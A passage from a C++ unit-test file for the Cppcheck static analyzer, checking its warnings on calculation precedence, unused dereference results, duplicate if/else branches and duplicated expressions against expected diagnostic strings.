ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n 